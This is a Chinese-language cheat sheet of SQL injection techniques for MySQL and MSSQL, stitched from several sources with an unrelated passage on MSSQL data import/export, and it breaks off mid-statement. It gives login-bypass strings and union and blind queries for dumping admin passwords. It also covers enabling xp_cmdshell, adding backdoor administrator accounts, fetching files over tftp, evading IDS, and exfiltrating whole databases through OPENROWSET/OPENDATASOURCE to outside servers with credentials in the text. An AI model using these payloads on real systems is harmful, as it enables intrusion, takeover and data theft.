搜集的注入技巧
1 判断版本news_info.php?wid=-1/**/union/**/select/**/1,user(),3,4,version(),6,7,8,9,10,11,12,13,14,15/*
2 数据库名字info.php?wid=-1/**/union/**/select/** /1,SCHEMA_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15 from/**/information_schema.SCHEMATA limit 17,1/*
3表名 6进制为上面结果
info.php?wid=-1/**/union/**/select/**/1,TABLE_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=0×77656262617365/**/limit/**/11,1
4 tg_adminuser十六进制编码为0x74675F61646D696E75736572,依次查找该表里面的字段名,如图4,图5
xx.com/news_info.php?wid=-1/**/union/**/select/**/1,COLUMN_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=0x74675F61646D696E75736572/**/limit/**/1,1
5数据库,表名,字段我们都知道了,查出密码就很简单了,如图六
xx.com/news_info.php?wid=-1/**/union/**/select/**/1,username,3,4,password,6,7,8,9,10,11,12,13,14,15/**/from/**/webbase.tg_adminuse
DECLARE @S int EXEC sp_oacreate [wscript.shell],@s out EXEC sp_oamethod @s,[run],NULL,[cmd.exe /c net user guest testa!@#$] –
DECLARE @shell INT EXEC SP_OAcreate ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ‘C:\WINNT\system32\command.com /c net user’–
http://www.wjs168.com
绕过登录验证进入后台的方法整理:
1) ‘ or”=’
2) ‘ or 1=1–
3) ‘ or ‘a’='a–
4) ‘or’='or’
5) ” or 1=1–
6)or 1=1–
7) or ‘a=’a
8)” or “a”=”a
9) ‘) or (‘a’='a
10) “) or (“a”=”a
11) ) or (1=1
12) ‘or”=’
13) 人气%’ and 1=1 and ‘%’=’
1′or’1′=’1
恢复xpcmdshell
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;
exec master.dbo.sp_addlogin iisloger,hook–
exec master.dbo.sp_addsrvrolemember iisloger,sysadmin–
沙河模式
exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,'SOFTWARE\Microsoft\Jet\4.0\Engines’,'SandBoxMode’,'REG_DWORD’,1
select * from openrowset(‘microsoft.jet.oledb.4.0′,’;database=c:\windows\system32\ias\ias.mdb’,'select shell(“cmd.exe /c net user admin admin1234 /add”)’)
‘ and user>0–
‘ and db_name()>0–
现功能:
获取所有库.当前库所有表.表里所有内容.分区路径.
本机建立库和表,方便反弹时写进东西.
查询sa密码的hash
select name, password from master..sysxlogins
select name, password from master..sys.sysxlogins
select name from sys.sql_logins
create database lcx
Create TABLE ku(name nvarchar(256) null)
Create TABLE biao(id int NULL,name nvarchar(256) null)
得到目标服务器上的所有数据库名:
‘insert into opendatasource(‘sqloledb’,'server=61.172.255.10;uid=sa;pwd=27204363;database=lcx’).lcx.dbo.ku select name from master.dbo.sysdatabases–
删除当前表里的内容
truncate table 表名
得到当前库:
insert into opendatasource(‘sqloledb’,'server=210.201.139.148;uid=sa;pwd=27204363;database=lcx’).lcx.dbo.ku select db_name(0)–
得到当前库的所有表名
insert into opendatasource(‘sqloledb’,'server=123.54.8.17;uid=sa;pwd=84542750;database=lcx’).lcx.dbo.biao select [id],[name] from sysobjects where xtype=’U'–
获得其它库的所有表名
insert into opendatasource(‘sqloledb’,'server=123.54.8.17;uid=sa;pwd=84542750;database=lcx’).lcx.dbo.biao select [id],[name] from 库名.dbo.sysobjects where xtype=’U'–
获得当前库指定表名的列
复制一个系统表结构
1. select * into [tmpcolumns] from syscolumns where 1=2
2. insert into opendatasource(‘sqloledb’,'server=123.54.8.17;uid=sa;pwd=84542750;database=lcx’).lcx.dbo.tmpcolumns select * from syscolumns where id=1723153184–
//这一步目的是查询当前表的结构,好在本机建立同样的表.
返回表的所有内容
insert into opendatasource(‘sqloledb’,'server=123.54.8.17;uid=sa;pwd=84542750;database=lcx’).lcx.dbo.king select * from [king]–
复制一个系统表结构 重要的: name列名 xtype数据类型 length长度 //在本机建立一个同样的表
关系表如下:
=================
when 34 then ”image”
when 35 then ”text”
when 52 then ”smallint”
when 56 then ”int”
when 61 then ”datetime”
when 62 then ”float”
when 108 then ”numeric”
when 167 then ”varchar”
when 175 then ”char”
when 231 then ”nvarchar”
==================
查路径 实践:
Create TABLE mulu(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100) null)
1. xx.asp?id=1;Create TABLE chong (subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100));–
2. xx.asp?id=1;Insert chong exec master..xp_dirtree “C:\”,1,1;–
本机: 3 4
3. select * into [tmpcolumns] from syscolumns where 1=2
4. Create TABLE chong (subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100))
5. xx.asp?id=1;insert into opendatasource(‘sqloledb’,'server=123.54.9.185;uid=sa;pwd=84542750;database=lcx’).lcx.dbo.biao select [id],[name] from sysobjects where xtype=’chong’–
6. 从5中得到反回来的chong表的ID.一共有三个列.
7. xx.asp?id=1;insert into opendatasource(‘sqloledb’,'server=123.54.9.185;uid=sa;pwd=84542750;database=lcx’).lcx.dbo.tmpcolumns select * from syscolumns where id=1358627883–
8. where id=1723153184 其中一个.下面返回来的内容.就是现在的ID对应的内容
9. xx.asp?id=1; insert into opendatasource(‘sqloledb’,'server=123.54.8.17;uid=sa;pwd=84542750;database=lcx’).lcx.dbo.chong select * from [chong]–
10. 路径在本机chong里.
灵活地运用SQLInjection做数据库渗透[来源:邪物,其中一件恶八进制安全小组]
如何灵活地运用SQLInjection做数据库渗透的一种思路
如今,很多关于mssql数据库的渗透技巧已不能有效地获取有用的数据值。比如在一个怀疑是注入点的地方
www.xxxxx.com/blog.asp?id=4
当加入”‘”符号进行注入测试时,
www.xxxxx.com/blog.asp?id=4′
出错信息是,
[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthevarcharvalue’4?toacolumnofdatatypeint
我们知道它不对”‘”符号进行过滤。再用如下语句测试,
http://www.aquavelvas.com/blog.asp?id=4and1=1
出错信息是,
[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthevarcharvalue’4and1=1′toacolumnofdatatypeint
好,再来继续测试,
http://www.aquavelvas.com/blog.asp?id=4' and '1'='1
这次出错讯息不同了,如下
[Microsoft][ODBCSQLServerDriver][SQLServer]Line1:Incorrectsyntaxnear’and’
我们的”‘”符号加对了,再继续测试,
http://www.aquavelvas.com/blog.asp?id=4' and user>’0
出错信息如下,
[Microsoft][ODBCSQLServerDriver][SQLServer]Line1:Incorrectsyntaxnear’anduser>’
应该是语法不允许直接回值,是不是不能再继续了呢?想想其他办法,就看user值的长度吧,
http://www.aquavelvas.com/blog.asp?id=4' and len(user)>’0
出错信息是,
[Microsoft][ODBCSQLServerDriver][SQLServer]Line1:Incorrectsyntaxnear’andlen(user)>’
好,我们知道如果出错信息是Syntaxerror…或EitherBOForEOFisTrue…的话,那语句在逻辑上是错的;而如果出错信息 是Incorrectsyntax…的话,那语句在逻辑上就是对的。当处理len(user)>0,凭着刚才的想法,我们知道在逻辑上这是对 的。
我们试试逻辑上错的语句,
http://www.aquavelvas.com/blog.asp?id=4' and user '1'='2
果然,出错信息是,
EitherBOForEOFisTrue,orthecurrentrecordhasbeendeleted.Requestedoperationrequiresacurrentrecord
从len(user)>0这语法的基础上,我们得知user的长度是7,之后再用left(user,1)=a这语法来猜出user名是
thomasa。再用db_name()这个function,我们可猜出数据库名。
好了,如何猜表名呢?就先猜表名的长度吧,
就用如下语句,
len(selecttop1namefromsysobjectswherextype=’U')>10
len(selecttop1namefromsysobjectswherextype=’U')>9
len(selecttop1namefromsysobjectswherextype=’U')>8
…
(猜表名的工作是很烦人,建议用perl写个script来玩玩)
再猜表名,
left((selecttop1namefromsysobjectswherextype=’U'),1)=a
left((selecttop1namefromsysobjectswherextype=’U'),2)=ab
left((selecttop1namefromsysobjectswherextype=’U'),3)=abc
…
好了,我们知道第一个表名是’geoipcountrywhois’(知道为什么我建议写个perlscript吧!)
再继续猜表名,
len(selecttop1namefromsysobjectswherextype=’U'andnamenotin(‘geoipcountrywhois’)>10
len(selecttop1namefromsysobjectswherextype=’U'andnamenotin(‘geoipcountrywhois’)>9
len(selecttop1namefromsysobjectswherextype=’U'andnamenotin(‘geoipcountrywhois’)>8
…
left((selecttop1namefromsysobjectswherextype=’U'andnamenotin(‘geoipcountrywhois’)),1)=b
left((selecttop1namefromsysobjectswherextype=’U'andnamenotin(‘geoipcountrywhois’)),1)=l
left((selecttop1namefromsysobjectswherextype=’U'andnamenotin(‘geoipcountrywhois’)),1)=o
….
好第二个表名是blog,之后的表名可用(‘geoipcountrywhois’,'blog’)来继续猜,然而,这显然不是好办法。为什么我们不进行搜索呢?
如何搜索呢?就用如下的语句吧,
(selectcount(*)fromsysobjectswherextype=’U'andnamelike’%login%’)=0
(selectcount(*)fromsysobjectswherextype=’U'andnamelike’%pass%’)=0
(selectcount(*)fromsysobjectswherextype=’U'andnamelike’%key%’)=0
(记得将”%”这符号换成”%25″才是正确的输入)
好了,通过逻辑上对或错的判断,我们也可以对数据库进行渗透,不再局限于回弹显示值。
希望这思路能开阔注入技术的演变。
SQL入侵必学语句
作者:admin — 上次修改时间: 2007-09-25 16:19
SELECT*FROMOpenDataSource(‘Microsoft.Jet.OLEDB.4.0′,
‘DataSource=”c:\test.xls”;UserID=Admin;Password=;Extendedproperties=Excel5.0′)…xactions
/*动态文件名
declare@fnvarchar(20),@svarchar(1000)
set@fn=’c:\test.xls’
set@s=”’Microsoft.Jet.OLEDB.4.0”,
”DataSource=”‘+@fn+’”;UserID=Admin;Password=;Extendedproperties=Excel5.0”’
set@s=’SELECT*FROMOpenDataSource($’”>’+@s+’)…sheet1$’
exec(@s)
*/
SELECTcast(cast(科目编号asnumeric(10,2))asnvarchar(255))+”转换后的别名
FROMOpenDataSource(‘Microsoft.Jet.OLEDB.4.0′,
‘DataSource=”c:\test.xls”;UserID=Admin;Password=;Extendedproperties=Excel5.0′)…xactions
/**********************EXCEL导到远程SQL
insertOPENDATASOURCE(
‘SQLOLEDB’,
‘DataSource=远程ip;UserID=sa;Password=密码’
).库名.dbo.表名(列名1,列名2)
SELECT列名1,列名2
FROMOpenDataSource(‘Microsoft.Jet.OLEDB.4.0′,
‘DataSource=”c:\test.xls”;UserID=Admin;Password=;Extendedproperties=Excel5.0′)…xactions
/**导入文本文件
EXECmaster..xp_cmdshell’bcpdbname..tablenameinc:\DT.txt-c-Sservername-Usa-Ppassword’
/**导出文本文件
EXECmaster..xp_cmdshell’bcpdbname..tablenameoutc:\DT.txt-c-Sservername-Usa-Ppassword’
或
EXECmaster..xp_cmdshell’bcp”Select*fromdbname..tablename”queryoutc:\DT.txt-c-Sservername-Usa-Ppassword’
导出到TXT文本,用逗号分开
execmaster..xp_cmdshell’bcp”库名..表名”out”d:\tt.txt”-c-t,-Usa-Ppassword’
BULKINSERT库名..表名
FROM’c:\test.txt’
WITH(
FIELDTERMINATOR=’;',
ROWTERMINATOR=’\n’
)
–/*dBaseIV文件
select*from
OPENROWSET(‘MICROSOFT.JET.OLEDB.4.0′
,’dBaseIV;HDR=NO;IMEX=2;DATABASE=C:\’,'select*from[客户资料4.dbf]‘)
–*/
–/*dBaseIII文件
select*from
OPENROWSET(‘MICROSOFT.JET.OLEDB.4.0′
,’dBaseIII;HDR=NO;IMEX=2;DATABASE=C:\’,'select*from[客户资料3.dbf]‘)
–*/
–/*FoxPro数据库
select*fromopenrowset(‘MSDASQL’,
‘Driver=MicrosoftVisualFoxProDriver;SourceType=DBF;SourceDB=c:\’,
‘select*from[aa.DBF]‘)
–*/
**************导入DBF文件****************/
select*fromopenrowset(‘MSDASQL’,
‘Driver=MicrosoftVisualFoxProDriver;
SourceDB=e:\VFP98\data;
SourceType=DBF’,
‘select*fromcustomerwherecountry!=”USA”orderbycountry’)
go
/*****************导出到DBF***************/
如果要导出数据到已经生成结构(即现存的)FOXPRO表中,可以直接用下面的SQL语句
insertintoopenrowset(‘MSDASQL’,
‘Driver=MicrosoftVisualFoxProDriver;SourceType=DBF;SourceDB=c:\’,
‘select*from[aa.DBF]‘)
select*from表
说明:
SourceDB=c:\指定foxpro表所在的文件夹
aa.DBF指定foxpro表的文件名.
/*************导出到Access********************/
insertintoopenrowset(‘Microsoft.Jet.OLEDB.4.0′,
‘x:\A.mdb’;'admin’;”,A表)select*from数据库名..B表
/*************导入Access********************/
insertintoB表selet*fromopenrowset(‘Microsoft.Jet.OLEDB.4.0′,
‘x:\A.mdb’;'admin’;”,A表)
文件名为参数
declare@fnamevarchar(20)
set@fname=’d:\test.mdb’
exec(‘SELECTa.*FROMopendatasource(”Microsoft.Jet.OLEDB.4.0”,
”’+@fname+”’;”admin”;””,topics)asa’)
SELECT*
FROMOpenDataSource(‘Microsoft.Jet.OLEDB.4.0′,
‘DataSource=”f:\northwind.mdb”;JetOLEDB:DatabasePassword=123;UserID=Admin;Password=;’)…产品
*********************导入xml文件
DECLARE@idocint
DECLARE@docvarchar(1000)
–sampleXMLdocument
SET@doc=’
<root>
<Customercid=”C1″name=”Janine”city=”Issaquah”>
<Orderoid=”O1″date=”1/20/1996″amount=”3.5″/>
<Orderoid=”O2″date=”4/30/1997″amount=”13.4″>Customerwasverysatisfied
</Order>
</Customer>
<Customercid=”C2″name=”Ursula”city=”Oelde”>
<Orderoid=”O3″date=”7/14/1999″amount=”100″note=”Wrapitblue
whitered”>
<Urgency>Important</Urgency>
HappyCustomer.
</Order>
<Orderoid=”O4″date=”1/20/1996″amount=”10000″/>
</Customer>
</root>
‘
–CreateaninternalrepresentationoftheXMLdocument.
EXECsp_xml_preparedocument@idocOUTPUT,@doc
–ExecuteaSELECTstatementusingOPENXMLrowsetprovider.
SELECT*
FROMOPENXML(@idoc,’/root/Customer/Order’,1)
WITH(oidchar(5),
amountfloat,
commentntext’text()’)
EXECsp_xml_removedocument@idoc
/**********************Excel导到Txt****************************************/
想用
select*intoopendatasource(…)fromopendatasource(…)
实现将一个Excel文件内容导入到一个文本文件
假设Excel中有两列,第一列为姓名,第二列为很行帐号(16位)
且银行帐号导出到文本文件后分两部分,前8位和后8位分开。
邹健:
如果要用你上面的语句插入的话,文本文件必须存在,而且有一行:姓名,银行账号1,银行账号2
然后就可以用下面的语句进行插入
注意文件名和目录根据你的实际情况进行修改.
insertinto
opendatasource(‘MICROSOFT.JET.OLEDB.4.0′
,’Text;HDR=Yes;DATABASE=C:\’
)…[aa#txt]
–,aa#txt)
–*/
select姓名,银行账号1=left(银行账号,8),银行账号2=right(银行账号,8)
from
opendatasource(‘MICROSOFT.JET.OLEDB.4.0′
,’Excel5.0;HDR=YES;IMEX=2;DATABASE=c:\a.xls’
–,Sheet1$)
)…[Sheet1$]
如果你想直接插入并生成文本文件,就要用bcp
declare@sqlvarchar(8000),@tbnamevarchar(50)
–首先将excel表内容导入到一个全局临时表
select@tbname=’[##temp'+cast(newid()asvarchar(40))+']‘
,@sql=’select姓名,银行账号1=left(银行账号,8),银行账号2=right(银行账号,8)
into’+@tbname+’from
opendatasource(”MICROSOFT.JET.OLEDB.4.0”
,”Excel5.0;HDR=YES;IMEX=2;DATABASE=c:\a.xls”
)…[Sheet1$]‘
exec(@sql)
–然后用bcp从全局临时表导出到文本文件
set@sql=’bcp”‘+@tbname+’”out”c:\aa.txt”/S”(local)”/P”"/c’
execmaster..xp_cmdshell@sql
–删除临时表
exec(‘droptable’+@tbname)
/********************导整个数据库*********************************************/
用bcp实现的存储过程
/*
实现数据导入/导出的存储过程
根据不同的参数,可以实现导入/导出整个数据库/单个表
调用示例:
–导出调用示例
—-导出单个表
execfile2table’zj’,”,”,’xzkh_sa..地区资料’,'c:\zj.txt’,1
—-导出整个数据库
execfile2table’zj’,”,”,’xzkh_sa’,'C:\docman’,1
–导入调用示例
—-导入单个表
execfile2table’zj’,”,”,’xzkh_sa..地区资料’,'c:\zj.txt’,0
—-导入整个数据库
execfile2table’zj’,”,”,’xzkh_sa’,'C:\docman’,0
*/
ifexists(select1fromsysobjectswherename=’File2Table’andobjectproperty(id,’IsProcedure’)=1)
dropprocedureFile2Table
go
createprocedureFile2Table
@servernamevarchar(200)–服务器名
,@usernamevarchar(200)–用户名,如果用NT验证方式,则为空”
,@passwordvarchar(200)–密码
,@tbnamevarchar(500)–数据库.dbo.表名,如果不指定:.dbo.表名,则导出数据库的所有用户表
,@filenamevarchar(1000)–导入/导出路径/文件名,如果@tbname参数指明是导出整个数据库,则这个
参数是文件存放路径,文件名自动用
表名.txt
,@isoutbit–1为导出,0为导入
as
declare@sqlvarchar(8000)
if@tbnamelike’%.%.%’–如果指定了表名,则直接导出单个表
begin
set@sql=’bcp’+@tbname
+casewhen@isout=1then’out’else’in’end
+’”‘+@filename+’”/w’
+’/S’+@servername
+casewhenisnull(@username,”)=”then”else’/U’+@usernameend
+’/P’+isnull(@password,”)
execmaster..xp_cmdshell@sql
end
else
begin–导出整个数据库,定义游标,取出所有的用户表
declare@m_tbnamevarchar(250)
ifright(@filename,1)<>’\'set@filename=@filename+’\’
set@m_tbname=’declare#tbcursorforselectnamefrom’+@tbname+’..sysobjectswherextype=”U”’
exec(@m_tbname)
open#tb
fetchnextfrom#tbinto@m_tbname
while@@fetch_status=0
begin
set@sql=’bcp’+@tbname+’..’+@m_tbname
+casewhen@isout=1then’out’else’in’end
+’”‘+@filename+@m_tbname+’.txt”/w’
+’/S’+@servername
+casewhenisnull(@username,”)=”then”else’/U’+@usernameend
+’/P’+isnull(@password,”)
execmaster..xp_cmdshell@sql
fetchnextfrom#tbinto@m_tbname
end
close#tb
deallocate#tb
end
go
/*************Oracle**************/
EXECsp_addlinkedserver’OracleSvr’,
‘Oracle7.3′,
‘MSDAORA’,
‘ORCLDB’
GO
deletefromopenquery(mailser,’select*fromyulin’)
select*fromopenquery(mailser,’select*fromyulin’)
updateopenquery(mailser,’select*fromyulinwhereid=15′)setdisorder=555,catago=888
insertintoopenquery(mailser,’selectdisorder,catagofromyulin’)values(333,777)
补充:
对于用bcp导出,是没有字段名的。
用openrowset导出,需要事先建好表。
用openrowset导入,除ACCESS及EXCEL外,均不支持非本机数据导入。
SQL注射语句的“经典”总结
SQL注射语句
1.判断有无注入点
‘ ; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) —判断是否存在admin这张表
3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称。
and 1=(select count(*) from admin where len(*)>0)–
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(密码字段名称password)>0)
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误长度是12
and 1=(select count(*) from admin where len(password)=12) 正确
6.猜解字符
and 1=(select count(*) from admin where left(name,1)=’a') —猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)=’ab’)—猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) –
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
看服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)–
看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。
and 1=(Select IS_SRVROLEMEMBER(‘sysadmin’))–
判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
and ‘sa’=(Select System_user)–
and user_name()=’dbo’–
and 0<>(select user_name()–
看xp_cmdshell是否删除
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = ‘X’ AND
name = ‘xp_cmdshell’)–
xp_cmdshell被删除,恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_addextendedproc ‘xp_cmdshell’,'xplog70.dll’–
;EXEC master.dbo.sp_addextendedproc
‘xp_cmdshell’,'c:\inetpub\wwwroot\xplog70.dll’–
反向PING自己实验
;use master;declare @s int;exec sp_oacreate “wscript.shell”,@s out;exec
sp_oamethod @s,”run”,NULL,”cmd.exe /c ping 192.168.0.1″;–
加帐号
;DECLARE @shell INT EXEC SP_OACreate ‘wscript.shell’,@shell OUTPUT EXEC
SP_OAMETHOD @shell,’run’,null, ‘C:\WINNT\system32\cmd.exe /c net user
jiaoniang$ 1866574 /add’–
创建一个虚拟目录E盘:
;declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod
@o, ‘run’, NULL,’ cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w “默认Web站点”
-v “e”,”e:\”‘–
访问属性:(配合写入一个webshell)
declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod
@o, ‘run’, NULL,’ cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a
w3svc/1/ROOT/e +browse’
爆库 特殊技巧::%5c=’\’ 或者把/和\ 修改%5提交
如何得到SQLSERVER某个数据库中所有表的表名?
——————————————————————————–
用户表:
select name from sysobjects where xtype = ‘U’;
系统表:
select name from sysobjects where xtype = ‘S’;
所有表:
select name from sysobjects where xtype = ‘S’ or xtype = ‘U’;
——————————————————————————–
and 0<>(select top 1 paths from newtable)–
得到库名(从1到5都是系统的id,6以上才可以判断)
and 1=(select name from master.dbo.sysdatabases where dbid=7)–
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and
dbid=6)
依次提交 dbid = 7,8,9…. 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U') 暴到一个表
假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U’ and name
not in (‘Admin’)) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=’U’ and
name=’admin’
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569)
得到一个admin的一个字段,假设为 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and
name not in
(‘id’,…)) 来暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到密码。。。。。假设存在user_id username ,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and
dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U') 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U’ and name
not in(‘Address’))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=’U’ and
name=’admin’ and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
(union,access也好用)
得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));–
and (select top 1 swappass from swap)=1–
;Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare
@test varchar(20) exec master..xp_regread @rootkey=’HKEY_LOCAL_MACHINE’,
@key=’SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\’,
@value_name=’/', values=@test OUTPUT insert into paths(path)
values(@test)–
;use ku1;–
;create table cmd (str image);– 建立image类型的表cmd
存在xp_cmdshell的测试过程:
;exec master..xp_cmdshell ‘dir’
;exec master.dbo.sp_addlogin jiaoniang$;– 加SQL帐号
;exec master.dbo.sp_password null,jiaoniang$,1866574;–
;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;–
;exec master.dbo.xp_cmdshell ‘net user jiaoniang$ 1866574 /workstations:*
/times:all /passwordchg:yes /passwordreq:yes /active:yes /add’;–
;exec master.dbo.xp_cmdshell ‘net localgroup administrators jiaoniang$
/add’;–
exec master..xp_servicecontrol ‘start’, ‘schedule’ 启动服务
exec master..xp_servicecontrol ‘start’, ‘server’
; DECLARE @shell INT EXEC SP_OACreate ‘wscript.shell’,@shell OUTPUT EXEC
SP_OAMETHOD @shell,’run’,null, ‘C:\WINNT\system32\cmd.exe /c net user
jiaoniang$ 1866574 /add’
;DECLARE @shell INT EXEC SP_OACreate ‘wscript.shell’,@shell OUTPUT EXEC
SP_OAMETHOD @shell,’run’,null, ‘C:\WINNT\system32\cmd.exe /c net
localgroup administrators jiaoniang$ /add’
‘; exec master..xp_cmdshell ‘tftp -i youip get file.exe’– 利用TFTP上传文件
;declare @a sysname set @a=’xp_’+'cmdshell’ exec @a ‘dir c:\’
;declare @a sysname set @a=’xp’+'_cm’+’dshell’ exec @a ‘dir c:\’
;declare @a;set @a=db_name();backup database @a to
disk=’你的IP你的共享目录bak.dat’
如果被限制则可以。
select * from openrowset(‘sqloledb’,'server’;'sa’;”,’select ”OK!” exec
master.dbo.sp_addlogin hax’)
查询构造:
Select * FROM news Where id=… AND topic=… AND …..
admin’and 1=(select count(*) from [user] where username=’victim’ and
right(left(userpass,01),1)=’1′) and userpass <>’
select 123;–
;use master;–
:a’ or name like ‘fff%’;– 显示有一个叫ffff的用户哈。
and 1<>(select count(email) from [user]);–
;update [users] set email=(select top 1 name from sysobjects where
xtype=’u’ and status>0) where name=’ffff’;–
;update [users] set email=(select top 1 id from sysobjects where xtype=’u’
and name=’ad’) where name=’ffff’;–
‘;update [users] set email=(select top 1 name from sysobjects where
xtype=’u’ and id>581577110) where name=’ffff’;–
‘;update [users] set email=(select top 1 count(id) from password) where
name=’ffff’;–
‘;update [users] set email=(select top 1 pwd from password where id=2)
where name=’ffff’;–
‘;update [users] set email=(select top 1 name from password where id=2)
where name=’ffff’;–
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID 得到第二个表的名字
insert into users values( 666,
char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),
char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)–
insert into users values( 667,123,123,0xffff)–
insert into users values ( 123, ‘admin”–’, ‘password’, 0xffff)–
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //为access数据库
枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and
status>0);–
这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>’刚才得到的表名’)。
;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and
status>0 and name<>’vote’);–
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,一个个的读出,直到没有为止。
读字段是这样:
;update aaa set aaa=(select top 1 col_name(object_id(‘表名’),1));–
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
;update aaa set aaa=(select top 1 col_name(object_id(‘表名’),2));–
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and
status>0 [ and name<>'你得到的表名' 查出一个加一个]) [ where 条件] select top 1 name from
sysobjects where xtype=u and status>0 and name not in(‘table1′,’table2′,…)
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id(‘要查询的数据表名’),字段列如:1) [
where 条件]
绕过IDS的检测[使用变量]
;declare @a sysname set @a=’xp_’+'cmdshell’ exec @a ‘dir c:\’
;declare @a sysname set @a=’xp’+'_cm’+’dshell’ exec @a ‘dir c:\’
1、 开启远程数据库
基本语法
select * from OPENROWSET(‘SQLOLEDB’, ‘server=servername;uid=sa;pwd=123′,
‘select * from table1′ )
参数: (1) OLEDB Provider name
2、 其中连接字符串参数可以是任何端口用来连接,比如
select * from OPENROWSET(‘SQLOLEDB’,
‘uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;’, ‘select *
from table’
3.复制目标主机的整个数据库insert所有远程表到本地表。
基本语法:
insert into OPENROWSET(‘SQLOLEDB’, ‘server=servername;uid=sa;pwd=123′,
‘select * from table1′) select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
insert into
OPENROWSET(‘SQLOLEDB’,'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;’,'select
* from table1′) select * from table2
insert into
OPENROWSET(‘SQLOLEDB’,'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;’,'select
* from _sysdatabases’)
select * from master.dbo.sysdatabases
insert into
OPENROWSET(‘SQLOLEDB’,'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;’,'select
* from _sysobjects’)
select * from user_database.dbo.sysobjects
insert into
OPENROWSET(‘SQLOLEDB’,'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;’,'select
* from _syscolumns’)
select * from user_database.dbo.syscolumns
复制数据库:
insert into
